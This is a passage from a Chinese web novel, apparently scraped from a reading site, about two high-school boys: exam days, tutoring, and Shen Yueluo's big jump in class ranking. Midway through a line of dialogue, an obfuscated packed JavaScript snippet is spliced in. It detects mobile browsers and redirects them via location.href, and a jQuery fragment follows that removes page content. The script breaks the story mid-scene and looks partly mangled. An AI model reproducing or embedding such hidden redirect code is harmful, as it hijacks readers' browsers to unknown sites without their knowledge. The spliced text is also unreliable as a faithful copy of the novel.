作文题“微光”,沈月落愣了愣。他想起这几天复习到深夜,秦玉房间里的台灯总是亮着,那束柔和的光落在书本上,也落在秦玉的侧脸上,让他觉得那些原本晦涩难懂的知识点,似乎也变得没那么可怕了。他拿起笔,写下了开头:“微光虽小,却能照亮前行的路。在我迷茫的时候,总有一束微光,默默地陪伴着我……”写着写着,心里的话像是打开了闸门,不知不觉就写满了答题卡。 考场里很安静,只有笔尖划过纸张的沙沙声和偶尔响起的翻页声。秦玉很快写完了作文,剩下的时间他开始认真检查试卷,逐字逐句地核对答案,生怕因为粗心而丢分。可检查到阅读理解时,他还是忍不住想起沈月落,不知道他这道题有没有答上来,作文会不会写跑题。 第一科语文考试结束的铃声响起时,秦玉刚好检查完最后一道题。他放下笔,长长地舒了一口气,感觉手心都有些出汗了。监考老师收完试卷,学生们纷纷站起来伸懒腰,教室里立刻响起了此起彼伏的议论声。 “刚才那道古诗文默写,你写对了吗?我差点把‘衡阳雁去’写成‘衡阳燕去’!” “作文你写的是什么啊?我感觉我写跑题了……” 秦玉收拾好文具,没有加入讨论,而是快步走出了考场,朝着四楼的方向走去。他走得有些急,楼梯上的脚步声格外清晰,心里既期待又忐忑,想快点见到沈月落,又怕看到他失落的表情。 走到四楼楼梯口时,他看到沈月落正靠在栏杆上,手里攥着一张草稿纸,眉头微微蹙着,像是在琢磨着什么。听到脚步声,沈月落抬起头,看到秦玉时,眼睛瞬间亮了起来,快步朝着他走过来。 “秦同学,你考得怎么样?”沈月落的声音里带着点不易察觉的急切,眼神里藏着期待和忐忑。 秦玉看着他,他的额前有些汗湿,校服领口敞开着,脸上带着点疲惫,却又透着一股兴奋。“还行,题目不算太难,”秦玉笑了笑,“你呢?感觉怎么样?古诗文默写都写对了吗?” “写对了!”沈月落立刻点头,像是个得到表扬的孩子,“就是现代文阅读有一道题有点拿不准,不过我按照你教我的方法写了答案。作文……我写的是你给我辅导功课的事,应该没跑题吧?”他说着,眼神里带着点不确定,像是在寻求秦玉的肯定。 秦玉的脸颊微微发烫,心里像是被什么东西填满了,暖暖的。“不会跑题的,”他看着沈月落认真的样子,由衷地为他高兴,“只要写出自己的真实感受就好。” 两人沿着楼梯往下走,朝着教学楼外的休息区走去。沈月落叽叽喳喳地说着考试时的趣事,比如坐在他前面的同学因为紧张,把答题卡填错了位置,被监考老师提醒了好几次;又比如他写作文的时候,突然想起秦玉教他写作文的技巧,一下子就有了思路。 秦玉安静地听着,偶尔应上一两句,目光落在他兴奋的侧脸,嘴角忍不住微微上扬。他发现,沈月落其实并不像表面看起来那么对什么都无所谓,他只是不擅长表达自己的紧张和在意。看着他因为复习见效而露出的开心笑容,秦玉心里的担忧也减轻了不少。 休息时间过得很快,第二科数学考试的铃声很快就响了。两人再次分开,朝着各自的考场走去。沈月落走到401考场门口时,回头看了一眼秦玉的方向,看到秦玉也正在看他,两人对视了一眼,沈月落朝着他用力点了点头,转身走进了考场。 秦玉坐在203考场的座位上,心里比第一科更紧张了些。数学是沈月落的弱项,虽然这几天他陪着沈月落刷了不少题,从基础题型到中档题,沈月落也确实进步很大,但秦玉还是忍不住担心,怕他遇到难题会慌神,怕他粗心丢分。 数学试卷发下来,秦玉快速浏览了一遍,心里有了底。大部分题型都是这几天复习过的,难度不算太大。他拿起笔开始答题,选择题做得很顺利,很快就写完了。填空题也没遇到太大的阻碍,直到最后一道填空题,他卡了一下。这道题涉及到的知识点,沈月落当初学的时候特别吃力,他反复讲了三遍,沈月落才终于弄懂。秦玉的笔尖顿了顿,想起沈月落当时恍然大悟的样子,嘴角忍不住微微上扬,很快就想出了解题思路。 大题部分,秦玉做得很沉稳,一步步写着解题步骤,字迹工整清晰。他知道数学考试步骤很重要,哪怕最后答案错了,步骤对了也能得不少分,所以每一步都写得很认真。写到最后一道大题时,他抬头看了一眼窗外,太阳已经升高了,把天空染成了淡淡的蓝色。他想起沈月落,不知道他这道题能不能做出来,心里又开始有些牵挂。 而此时的401考场,沈月落正对着最后一道大题皱紧了眉头。这道题很难,他看了半天,脑子里一片混乱。他下意识地想放弃,可一想到秦玉这几天熬夜给他辅导的样子,想到自己想要把题做好的决心,他又咬了咬牙,重新拿起笔。 他按照秦玉教他的方法,先分析题目给出的条件,然后在草稿纸上画图,一步步推导。一开始思路还很混乱,可写着写着,突然就豁然开朗了。他的眼睛亮了起来,笔尖飞快地在答题卡上写着解题步骤,虽然中间有几次停顿,甚至划掉了重新写,但最终还是完整地写出了答案。 写完最后一个字,沈月落长长地舒了一口气,感觉整个人都放松了下来。他抬头看了一眼监考老师,老师正在巡视考场,他的目光扫过沈月落的答题卡,眼里闪过一丝惊讶——没想到这个平时成绩垫底的学生,竟然能把最后一道大题写出来。 沈月落没有在意老师的目光,他开始认真检查试卷。他知道自己粗心的毛病,所以检查得格外仔细,一道题一道题地核对答案,果然发现了两道选择题因为粗心选错了选项,他赶紧改正过来,心里暗自庆幸:幸好检查了,不然就白白丢分了。 下午的英语考试,秦玉依旧发挥稳定。听力部分他听得很认真,几乎没有失误;阅读理解和完形填空都是他的强项,做得又快又准;作文他用了沈月落背熟的模板,稍微改动了一下,写得流畅自然。可即使这样,他还是会在间隙想起沈月落,不知道他听力能不能跟上,作文的句型会不会用错。 沈月落的英语考试比想象中顺利。听力部分他虽然有些地方没听清,但凭借着秦玉教他的技巧,蒙对了几道题;阅读理解他慢慢读,仔细找关键词,竟然大部分都能选对;作文他把背熟的模板默写下来,虽然有些语法错误,但整体还算完整。他走出考场时,脸上带着抑制不住的笑容——他从来没有觉得英语考试这么轻松过。 最后一科是理综,这是最考验耐力和综合能力的科目。秦玉按照平时的节奏,先做生物,再做化学,最后做物理。生物和化学都很顺利,大部分题都是复习过的,可物理的几道大题还是让他费了些功夫。他沉下心来,一步步分析,最终还是顺利完成了。 沈月落的理综考试也有惊无险。生物和化学是他相对擅长的科目,做得很顺利;物理虽然有些题不会,但他把自己会做的都写了出来,没有空着。他发现,经过这几天的复习,很多以前觉得难如登天的知识点,现在都变得清晰易懂了,大部分题他竟然都能做对,这种感觉让他既惊讶又 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两人并肩走出教学楼,夕阳把他们的影子拉得很长,叠在一起,像是永远不会分开。秦玉看着身边的沈月落,他的脸上还带着考试后的疲惫,却又透着一股掩饰不住的兴奋,心里莫名觉得很安心。他下意识地往沈月落身边靠了靠,两人的手臂偶尔会碰到一起,每一次触碰都让秦玉的心跳加快几分,脸颊泛起薄红。 路上遇到不少同学,大家都在讨论着考试的题目,有人喜有人忧。沈月落和秦玉没有参与讨论,只是安静地走着,偶尔交换一个眼神,不需要太多言语,就能明白彼此的意思。沈月落的目光总是不自觉地落在秦玉身上,看着他被夕阳映照得微红的侧脸,心里像是被什么东西填满了,暖暖的。 走到校门口,沈月落的司机已经在等了。两人上车后,车厢里很安静,只有车载空调的轻微声响。秦玉靠在车窗上,看着窗外飞逝的风景,脑子里还在回想今天的考试,想着沈月落那些进步的地方,嘴角忍不住微微上扬。 沈月落坐在他身边,侧头看着他,眼神很柔和。他想跟秦玉说点什么,可又不知道该说些什么,只能默默地看着他。车厢里弥漫着一种说不清道不明的暧昧,两人都没有说话,却并不觉得尴尬。 很快,车子就开到了沈月落家的别墅门口。下车后,秦玉跟着沈月落走进别墅,熟悉的装修风格让他感到很安心。这几天住在这里,他已经习惯了这里的一切,习惯了和沈月落一起复习,习惯了清晨醒来就能看到他的身影。 “你先休息一下,我去叫厨房准备晚饭。”沈月落说道,语气很自然,像是在对家人说话。 秦玉点点头:“好,麻烦你了。” 沈月落笑了笑,转身朝着厨房的方向走去。秦玉走到客厅的沙发上坐下,拿起桌上的一本书翻看,可心思却不在书上,脑子里全是今天考试的场景,还有沈月落开心的样子。他觉得,这几天的努力都是值得的,不仅仅是因为沈月落的进步,更是因为和他在一起的这些时光,让他感到很充实,很快乐。 过了一会儿,沈月落从厨房走出来,坐到秦玉身边:“晚饭还要等一会儿,要不要去书房再看看书?或者……我们聊聊天?” 秦玉放下书,看向沈月落:“聊什么?” “就聊聊今天的考试吧,”沈月落说道,眼神里带着一丝期待,“你觉得哪道题最难?” “数学的最后一道大题吧,”秦玉想了想,“不过你好像做出来了,挺厉害的。” 沈月落的脸颊微微发烫,有些不好意思地说道:“都是你教得好,不然我肯定做不出来。”他顿了顿,又说道:“其实我今天挺紧张的,尤其是考英语的时候,怕听力跟不上,怕作文写不好。但一想到你之前跟我说的那些技巧,就慢慢冷静下来了。” 秦玉看着他认真的样子,心里暖暖的:“你已经很棒了,进步很大。不管最后结果怎么样,你都应该为自己感到骄傲。” 沈月落抬头看向秦玉,眼神很亮:“真的吗?” “嗯。”秦玉重重地点点头,脸上带着真诚的笑容。 夕阳透过别墅的落地窗,洒在两人身上,镀上一层温暖的金色。客厅里很安静,只有两人的说话声,还有窗外传来的轻微声响。秦玉看着身边的沈月落,心里突然觉得,这样的时光真好,简单而纯粹,带着淡淡的温暖和安心。他不知道未来会怎么样,不知道这次分班考后他们会不会还能做同桌,但他知道,这段一起努力、一起奋斗的日子,会成为他记忆里最珍贵的一部分。 沈月落也看着秦玉,心里充满了感激。如果不是秦玉,他可能还是那个成绩垫底、对学习毫无兴趣的校霸。是秦玉的耐心辅导,让他感受到了学习的乐趣,让他有了想要进步的动力。他看着秦玉被夕阳映照得柔和的侧脸,心里突然冒出一个念头:不管以后能不能在一个班,他都想一直和秦玉做朋友,一直这样陪伴在他身边。 晚饭很快就准备好了,两人坐在餐桌前,安静地吃着饭。餐桌上的菜很丰盛,都是沈月落特意让厨房准备的秦玉喜欢吃的菜。秦玉吃得很开心,偶尔会给沈月落夹菜,沈月落也会把自己碗里的肉夹给秦玉,两人之间的互动自然而默契。 吃完饭,秦玉走到书房,准备把今天的试卷整理一下。沈月落也跟着走了进来,坐在他身边,看着他认真整理试卷的样子,心里很平静。他拿起自己的试卷,翻看着上面的答题痕迹,想起这几天的复习,想起秦玉的耐心教导,嘴角忍不住微微上扬。 “秦同学,”沈月落突然开口,“这几天……真的谢谢你。” 秦玉停下手里的动作,转头看向他:“不用谢,我们是朋友,不是吗?” 沈月落的眼睛亮了亮,用力点头:“嗯,朋友。”他顿了顿,又说道:“以后……我还能跟你一起学习吗?” 秦玉笑了笑:“当然可以,只要你愿意学,我就愿意教你。” 沈月落的脸上露出了灿烂的笑容,像是得到了全世界最好的礼物。他看着秦玉,心里充满了期待,期待着未来的日子,期待着和秦玉一起进步,一起成长。 夜色渐深,别墅里很安静。秦玉和沈月落坐在书房里,各自看着书,偶尔交流一两句关于知识点的问题。灯光柔和地洒在他们身上,营造出一种温馨而宁静的氛围。秦玉看着身边认真看书的沈月落,心里突然觉得,这样的生活,其实也挺好的。 30. 成绩 七天的等待像一根被拉紧的弦,直到周五清晨的风掠过教学楼公告栏,才终于迎来了松脱的时刻。 秦玉走到A班门口时,脚步下意识地放慢了半拍。公告栏上刚贴好的成绩单还带着油墨的湿润感,密密麻麻的名字按年级排名依次排列,像一张铺展开的网,将所有人的命运暂时定格。他的目光没有在顶端停留——年级第一的位置早已是意料之中的归宿,他的心跳,正为另一个名字而紊乱。 沈月落就站在他身侧,肩背挺得笔直,平日里带着点漫不经心的眼神此刻格外锐利,却又藏着不易察觉的慌乱。他的指尖无意识地摩挲着校服裤缝,指腹的薄茧蹭过布料,留下细微的摩擦声。上一次月考,他的名字钉在全校倒数第一的位置,一千零三十七名,像一道耻辱的烙印,让他在无数个夜晚辗转难眠。这次分班考,是他最后的机会,也是他和秦玉一起熬夜复习的意义所在。 “秦同学,”沈月落的声音比平时低了半度,带着点不易察觉的沙哑,“你……看到了吗?” 秦玉的目光飞快地在成绩单上扫过,从顶端的“1秦玉”往下,跳过一个个熟悉的名字,心脏跳得越来越快,像是要撞碎胸腔。他在寻找那个本该在末尾的名字,那个他陪了无数个深夜、讲了无数道错题的名字。 终于,在第三百二十六行,“沈月落”三个字清晰地映入眼帘。 班级:A班。年级排名:326。 秦玉的呼吸骤然停了半拍,瞳孔微微收缩。他几乎不敢相信自己的眼睛,又反复确认了三遍,才敢确定那不是幻觉。三百二十六名,比上次整整进步了七百一十一名。他不仅摆脱了全校倒数第一的泥潭,还稳稳地留在了A班,留在了自己身边。 “在这儿。”秦玉的声音里带着一丝自己都没察觉到的雀跃,指尖轻轻指向成绩单的中间位置。他转头看向沈月落,发现对方还在焦急地扫视着末尾区域,眉头蹙得紧紧的,下颌线绷得笔直,连耳尖都泛着红。 沈月落顺着他指的方向看去,当“沈月落”和“326”这两个数字撞进眼底时,整个人都僵住了。他像是被按下了暂停键,眼睛一眨不眨地盯着那行字,嘴唇动了动,却没发出任何声音。巨大的惊喜像潮水般涌来,瞬间淹没了他所有的不安,脸颊从耳根开始,一点点泛红,最后蔓延到整个脖颈,连眼眶都有点发热。 “我……”他张了张嘴,喉咙像是被什么堵住了,半天才挤出一句完整的话,“我没看错吧?三百二十六?” “嗯。”秦玉重重地点头,嘴角噙着清浅的笑意,眼底的光芒比清晨的阳光还要柔和,“进步了七百一十一名,沈月落,你做到了。” “做到了……”沈月落喃喃地重复着,像是在做梦。他抬手揉了揉眼睛,再睁开时,那行字依旧清晰地印在成绩单上。巨大的喜悦终于冲破了克制,他咧嘴笑了起来,笑容灿烂得像雨后的太阳,眼里闪烁着兴奋的光芒,连带着平日里的桀骜都柔和了许多。 周围的同学陆续注意到了这边的动静,小声的议论声此起彼伏地响起。 “我的天,沈月落竟然在三百多名?” “上次不是一千多吗?进步也太猛了吧!” “难怪国庆收假那几天总看到他跟秦玉待在一起,原来是真的在复习!” 这些议论声里没有了以往的轻视,取而代之的是纯粹的惊讶和佩服。沈月落听着,脸颊红得更厉害了,他下意识地看向秦玉,发现对方也在看着他,眼里的赞赏毫不掩饰,让他的心跳莫名快了几分。 “秦同学,我……”沈月落想说点什么感谢的话,可话到嘴边又不知道该怎么表达,最后只化作一句傻傻的“太好了”,脸颊依旧烫得厉害。 秦玉看着他开心的样子,心里也跟着雀跃起来。他低头看向自己的指尖,刚才指过成绩单的地方,似乎还残留着纸张的触感,耳尖悄悄泛起了红。他从来没想过,沈月落的进步会让他如此开心,这种感觉比自己考了第一还要强烈。 就在这时,早自习的铃声响了,围在公告栏前的同学纷纷散去。秦玉和沈月落并肩走进教室,各自回到座位上。沈月落坐下后,还是忍不住回头看了一眼公告栏的方向,嘴角依旧挂着笑容,手指在桌面上轻轻敲击着,难掩心里的兴奋。秦玉则拿出课本,假装低头翻看,可视线却总是不自觉地飘向身边的人,看着他泛红的侧脸,心里泛起一丝淡淡的暖意。 没过多久,班主任江涛拿着一份成绩单走进了教室。他刚一进门,目光就落在了沈月落身上,脸上带着明显的惊喜。江涛今年四十多岁,性格温和,却向来不苟言笑,此刻脸上的笑容却藏都藏不住。 “同学们,安静一下。”江涛敲了敲讲台,教室里瞬间安静下来,“分班结果大家应该都看过了,这次咱们班整体成绩不错,尤其是有一位同学,进步非常显著。” 他顿了顿,目光再次投向沈月落,声音里满是欣慰:“沈月落同学,这次考试,你从全校一千零三十七名,进步到年级三百二十六名,整整进步了七百一十一名!成功留在了A班!” 话音刚落,教室里就响起了一阵惊讶的抽气声,随后是热烈的掌声。沈月落被这突如其来的关注弄得有些不好意思,连忙低下头,脸颊红得像要滴血,耳朵尖也烧得发烫。 “沈月落同学的进步,不是偶然的。”江涛的声音继续传来,“我知道你为了这次考试付出了很多努力,这种刻苦钻研、不甘落后的精神,值得咱们班每一位同学学习!希望你以后继续保持这个劲头,再接再厉!” 沈月落低着头,心里既感动又有些忐忑。他知道,自己能有这样的进步,离不开秦玉这几天的耐心辅导。那些深夜的讲解、错题本上密密麻麻的批注、还有秦玉从不厌烦的鼓励,都化作了他前进的动力。他悄悄抬眼,看向身边的秦玉,发现对方也正在看他,眼里带着真诚的鼓励,还轻轻朝他点了点头。那一刻,沈月落觉得心里暖暖的,像是有一股暖流在涌动。 江涛讲完课后,便离开了教室。教室里恢复了早自习的安静,只剩下同学们翻书和写字的沙沙声。沈月落拿出课本,却怎么也静不下心来,脑子里全是老师的表扬和同学们的掌声,还有秦玉那带着鼓励的眼神。 他忍不住轻轻碰了碰秦玉的胳膊,声音压得很低:“秦同学,谢谢你。” 秦玉侧头看他,眼里带着一丝疑惑:“谢我什么?” “谢谢你这几天帮我辅导。”沈月落的声音更小了,脸颊依旧泛红,“如果不是你,我肯定考不了这么好。” 秦玉的心跳漏了一拍,耳尖更红了。他连忙转过头,假装翻看课本,声音有些不自然:“不用谢,主要是你自己努力的结果。” 沈月落看着他泛红的耳尖,心里觉得暖暖的。他没有再说话,只是默默地拿出课本,开始认真早读。可即使这样,他的心里还是充满了期待,期待着未来的日子,期待着和秦玉继续做同桌,一起学习,一起进步。 就在早自习快要结束的时候,教室门突然被猛地推开了。教导主任刘建民快步走了进来,手里还攥着一张成绩单,脸上带着抑制不住的惊讶和兴奋。 刘建民今年五十多岁,却一点都不显老。他身材挺拔,穿着一件熨烫平整的白色衬衫,头发梳得一丝不苟,眉眼间带着一种成熟稳重的帅气。平日里,刘建民对学生要求严格,不苟言笑,是学校里出了名的“铁面主任”,可此刻,他脸上的严肃早已被兴奋取代,甚至带着点孩子气的急切。 他一进门,目光就像雷达一样在教室里扫了一圈,最后精准地落在了沈月落身上。“沈月落!”刘建民的声音洪亮,打破了教室的安静,“你小子可以啊!” 教室里所有同学的目光都瞬间聚焦在沈月落身上,连正在低头刷题的秦玉也抬起了头,眼里带着一丝惊讶。沈月落被这突如其来的喊声弄得一愣,连忙站起来,有些不知所措地看着刘建民:“刘主任。” 刘建民快步走到沈月落的课桌前,把手里的成绩单递到他面前,手指着上面的排名,语气里的兴奋几乎要溢出来:“你自己看看!年级三百二十六名!我在办公室看到成绩单的时候,还以为是打印错了,反复核对了三遍,又去查了你的答题卡,才敢相信!” 他的声音越来越大,引得隔壁班的同学都纷纷探头往教室里看。“以前你小子可是全校倒数第一,一千零三十七名!我跟你谈过多少次话,你都左耳进右耳出。”刘建民拍了拍沈月落的肩膀,力道不轻不重,眼里却满是赞赏,“没想到这次竟然进步了七百一十一名!看来你是真的开窍了,下功夫了!” 沈月落被他说得有些不好意思,挠了挠头,脸颊依旧泛红:“我就是……稍微努力了一下。” “稍微努力就能进步七百一十一名?”刘建民笑了起来,语气里带着点调侃,“你这‘稍微努力’也太厉害了!我告诉你,沈月落,好好保持这个劲头,下次争取冲进年级前三百!” 他转头看向全班同学,声音提高了些,带着一种不容置疑的威严:“同学们,都要向沈月落同学学习!不要觉得自己基础差就放弃,只要肯努力,肯下功夫,就没有办不到的事情!沈月落同学就是最好的例子!” 全班同学再次鼓起掌来,掌声比刚才更热烈了。沈月落站在座位上,心里既激动又有些羞涩。他下意识地看向身边的秦玉,发现秦玉也在看着他,眼里带着明显的笑意,那笑容清浅柔和,像一股暖流,瞬间涌遍了他的全身。 刘建民又鼓励了沈月落几句,才满意地离开了教室。他一走,教室里就响起了同学们小声的议论声,大多是在讨论沈月落的进步。沈月落坐下后,感觉自己的脸颊还是烫烫的,他偷偷看了一眼秦玉,发现对方已经低下头,继续刷题了,可那泛红的耳尖却暴露了他并不平静的心情。 “秦同学,”沈月落犹豫了一下,还是轻轻碰了碰秦玉的胳膊,声音压得很低,“刘主任刚才说的……你觉得我下次能冲进前三百吗?” 秦玉侧头看他,眼里带着认真:“只要你保持现在的状态,继续努力,肯定可以的。” 他的声音清冽而坚定,带着一种让人信服的力量。沈月落看着他真诚的眼神,心里突然充满了信心。他重重地点点头:“好,我一定努力。” 秦玉看着他眼里闪烁的光芒,嘴角忍不住微微上扬,脸颊的红晕也渐渐褪去,只剩下一丝淡淡的暖意。他转过头,继续刷题,可心里却莫名觉得,有这样一个同桌,似乎也不错。 上午的第一节课是数学,老师拿着试卷走进教室,准备评讲这次分班考的试题。沈月落听得格外认真,手里的笔不停地在笔记本上记录着重点。以前上数学课,他虽然不会逃课,但也总是有些心不在焉,可现在,他的目光紧紧地盯着黑板,生怕错过任何一个知识点。 秦玉能感觉到身边人的变化,心里有些欣慰。他偶尔会侧头看一眼沈月落的笔记本,发现他记得虽然不算工整,但重点都抓住了。察觉到秦玉的目光,沈月落会下意识地把笔记本往他那边挪了挪,方便他查看,然后脸颊微微泛红,继续认真听讲。 数学课上到一半,老师讲到了最后一道大题,也就是沈月落考试时费了很大劲才做出来的那道题。“这道题难度不小,全班做对的同学不多。”老师顿了顿,目光扫过全班,最后落在了沈月落身上,“沈月落同学,这次这道题你做对了,能不能给大家讲一讲你的解题思路?” 沈月落愣了一下,显然没料到老师会突然叫他。他下意识地看向秦玉,眼里带着点慌乱。秦玉朝他点了点头,眼里带着鼓励,示意他不用紧张。 深吸一口气,沈月落站起身,走到讲台前。他拿着粉笔,看着黑板上的题目,脑子里快速回想当时的解题思路。一开始,他的声音还有点发颤,说话也不太流畅,可讲着讲着,思路越来越清晰,声音也渐渐稳定下来。 他按照秦玉教他的方法,一步步分析题目给出的条件,然后在黑板上画图、推导,每一步都讲得很认真。虽然中间有几次停顿,甚至因为紧张说错了一个步骤,引得下面有同学小声发笑,但他很快调整过来,继续往下讲。 秦玉坐在座位上,看着讲台上的沈月落,心里有些惊讶。他没想到沈月落能把这道题的思路记得这么清楚,讲得这么明白。阳光透过窗户落在沈月落身上,给他镀上了一层淡淡的金光,他的侧脸线条分明,平日里带着点桀骜的眼神此刻格外专注,让秦玉的心跳莫名快了几分,脸颊微微发烫。 “……所以,这道题的最终答案就是这个。”沈月落放下粉笔,长长地舒了一口气,脸上带着一丝不易察觉的骄傲。 教室里响起了热烈的掌声,老师也满意地点点头:“讲得很好!思路很清晰,步骤也很完整。沈月落同学,继续加油!” 沈月落走回座位,脸颊依旧泛红,他偷偷看了一眼秦玉,发现对方正在看着他,眼里带着明显的赞赏。“秦同学,我……我讲得怎么样?”他小声问道,语气里带着点不确定。 “很好,”秦玉点点头,嘴角带着笑意,“思路很对,比我想象中讲得好。” 得到秦玉的肯定,沈月落的心里更开心了,嘴角忍不住微微上扬,继续认真听老师讲课。 中午午休的时候,沈月落没有像以前那样出去闲逛,而是留在教室里,拿出数学试卷,开始整理错题。秦玉坐在他身边,也在刷题,偶尔会听到沈月落小声的嘀咕,像是在琢磨错题的思路。 “秦同学,这道题我还是不太明白。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163970|196613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈月落犹豫了一下,还是把试卷推到秦玉面前,指着一道错题,声音压得很低。 秦玉放下笔,凑过去看了一眼。那是一道函数题,也是他之前给沈月落讲过的题型。“你看这里,”秦玉的指尖轻轻点在试卷上,“你把定义域搞错了,所以后面的计算都错了。” 他的指尖微凉,不小心碰到了沈月落的手背,两人都愣了一下,连忙收回手。沈月落的脸颊瞬间红了,秦玉的耳尖也泛起了热意。 “哦……哦,我知道了。”沈月落低下头,不敢看秦玉,心里却像揣了只兔子,怦怦直跳。 秦玉清了清嗓子,假装什么都没发生,继续讲解:“再重新算一遍,注意定义域的范围,有什么不懂的再问我。” “嗯。”沈月落点点头,拿起笔,开始重新计算。他的心跳还是很快,脸颊依旧发烫,可手里的笔却很稳,思路也渐渐清晰起来。 秦玉坐在一旁,看着他认真计算的样子,心里有些不自在。刚才指尖相触的触感,像是电流一样,窜遍了他的全身,让他有些心神不宁。他深吸一口气,强迫自己把注意力集中在自己的试卷上,可眼角的余光,却总是不自觉地落在沈月落身上。 下午的英语课,老师评讲作文时,特意表扬了沈月落。“沈月落同学的作文进步很大,”老师拿着他的答题卡,脸上带着笑容,“虽然还有一些语法错误,但整体结构完整,句型也用得不错,看得出来是下了功夫背模板的。” 沈月落的脸颊又红了,他下意识地看向秦玉,发现对方也在看着他,眼里带着鼓励的笑意。他知道,自己的作文能有这样的进步,全靠秦玉这几天逼着他背模板、改错题。那些被秦玉用红笔圈出的错误、反复强调的句型,都深深地印在了他的脑海里。 放学后,沈月落叫住了秦玉。“秦同学,”他的脸颊微微泛红,语气有些犹豫,“今天……谢谢你。还有这几天,都谢谢你。” 秦玉停下脚步,转头看他。夕阳的余晖洒在沈月落身上,给他的头发镀上了一层金色,他的眼神很真诚,带着一丝不易察觉的羞涩。 “不用谢,”秦玉的耳尖也有些发烫,声音比平时低了些,“我们是同桌,互相帮助是应该的。” “同桌”两个字,让沈月落的心里暖暖的。他咧嘴笑了笑,露出一口白牙:“那……以后我有不懂的题,还能问你吗?” “当然可以,”秦玉点点头,嘴角带着清浅的笑意,“只要我会的,都会告诉你。” “太好了!”沈月落的眼睛亮了起来,像是得到了全世界最好的礼物。 两人并肩走出教学楼,夕阳把他们的影子拉得很长,叠在一起,像是永远不会分开。路上的风带着傍晚的凉意,吹得校服衣角轻轻晃动,偶尔有鸟儿从头顶飞过,留下几声清脆的鸣叫。 沈月落的心情很好,一路上都在叽叽喳喳地说着话,一会儿说数学老师讲课很有趣,一会儿说英语作文得到表扬很开心。秦玉安静地听着,偶尔应上一两句,目光落在他兴奋的侧脸,嘴角忍不住微微上扬。 走到校门口,沈月落的司机已经在等了。“秦同学,我先上车了。”沈月落停下脚步,转头看向秦玉,眼里带着一丝不舍。 “嗯,路上小心。”秦玉点点头,声音清冽。 沈月落上车前,又回头看了一眼秦玉,发现对方还站在原地看着他,他的脸颊微微泛红,朝着秦玉挥了挥手,才钻进了车里。 车子缓缓驶离,沈月落坐在车里,看着窗外秦玉的身影越来越小,心里却充满了期待。他拿出手机,点开和秦玉的聊天框,想发点什么,却又不知道该说些什么,最后只打了一句“秦同学,谢谢你今天的辅导”,犹豫了一下,又加上了一个笑脸表情,才发送出去。 秦玉收到消息时,正准备过马路。他拿出手机,看到沈月落发来的消息,嘴角忍不住微微上扬,耳尖也有些发烫。他回复道:“不客气,有不懂的题随时问我。” 发送完消息,秦玉收起手机,心里像是被什么东西填满了,暖暖的。他抬头看向天空,夕阳已经落下,天边泛起了淡淡的晚霞,很美。他想,或许,留在A班,和沈月落做同桌,是一件很不错的事情。 接下来的几天,沈月落像是变了一个人。他不再迟到早退,上课认真听讲,下课就拿出课本刷题,遇到不懂的题就及时问秦玉。秦玉也很有耐心,不管沈月落问的题有多简单,他都会仔细讲解,直到沈月落明白为止。 两人的同桌生活依旧平静,却又处处透着默契。秦玉会在早自习时,悄悄把整理好的知识点笔记推到沈月落面前;沈月落会在秦玉刷题刷到忘记吃饭时,默默给他带一份午餐。偶尔,两人的指尖会不小心碰到一起,都会下意识地收回手,脸颊泛红,却谁也没有多说什么,只是继续做自己的事情。 周五下午,学校举行了表彰大会,沈月落因为进步突出,被评为“进步之星”,上台领奖。当他从刘建民主任手里接过奖状时,台下响起了热烈的掌声。他下意识地看向秦玉所在的方向,发现秦玉正坐在台下,眼里带着真诚的笑意,朝着他轻轻点头。 那一刻,沈月落的心里充满了感激。他知道,这份荣誉,不仅属于他自己,也属于那个陪他熬夜复习、耐心讲解每一道题的同桌。他紧紧地攥着奖状,心里暗暗下定决心,以后一定要更加努力,不辜负秦玉的帮助,也不辜负自己的付出。 表彰大会结束后,沈月落拿着奖状,快步走到秦玉身边。“秦同学,你看!”他把奖状递到秦玉面前,脸上带着灿烂的笑容,脸颊微微泛红。 秦玉看着奖状上“进步之星”四个大字,又看了看沈月落开心的样子,嘴角的笑意更深了:“恭喜你,实至名归。” “这都是你的功劳,”沈月落挠了挠头,有些不好意思地说道,“如果不是你,我肯定得不到这个奖状。” “是你自己努力的结果,”秦玉摇摇头,眼神认真,“我只是帮了你一点小忙。” 两人并肩走着,夕阳把他们的影子拉得很长,叠在一起,温暖而和谐。沈月落看着身边的秦玉,心里突然觉得,有这样一个同桌,真好。他不知道未来会怎么样,但他知道,只要和秦玉一起,他就有勇气去面对所有的困难,去追求更好的自己。 而秦玉看着身边的沈月落,心里也泛起了一丝异样的感觉。他从来没想过,自己会因为一个人的进步而如此开心,会因为一个人的笑容而心神不宁。他知道,这份感觉或许只是纯粹的同学情谊,是对努力者的认可,但他却莫名地期待着,和沈月落一起走过更多的日子,一起见证彼此的成长。 晚风轻轻吹过,带着青草的香气,两人的脚步声在校园里回荡,清脆而坚定。他们的故事,才刚刚开始。 31. [锁] 该章节由作者自行锁定 周日的晨光带着几分慵懒,透过沈家别墅卧室的落地窗,在地板上投下斑驳的光影。沈月落是被窗外梧桐叶的沙沙声吵醒的,身边的秦玉还睡得安稳,呼吸均匀,长长的睫毛在眼睑下覆着一层浅浅的阴影,侧脸线条干净利落,带着少年人独有的清俊。 沈月落轻手轻脚地起身,赤着脚踩在微凉的实木地板上,尽量不发出半点声响。他穿着一身黑色的棉质睡衣,走到卧室角落的卫生间门口,轻轻推开了门。按下顶灯开关的瞬间,暖黄的光线漫进狭小的空间,照亮了洗漱台上方的镜子。 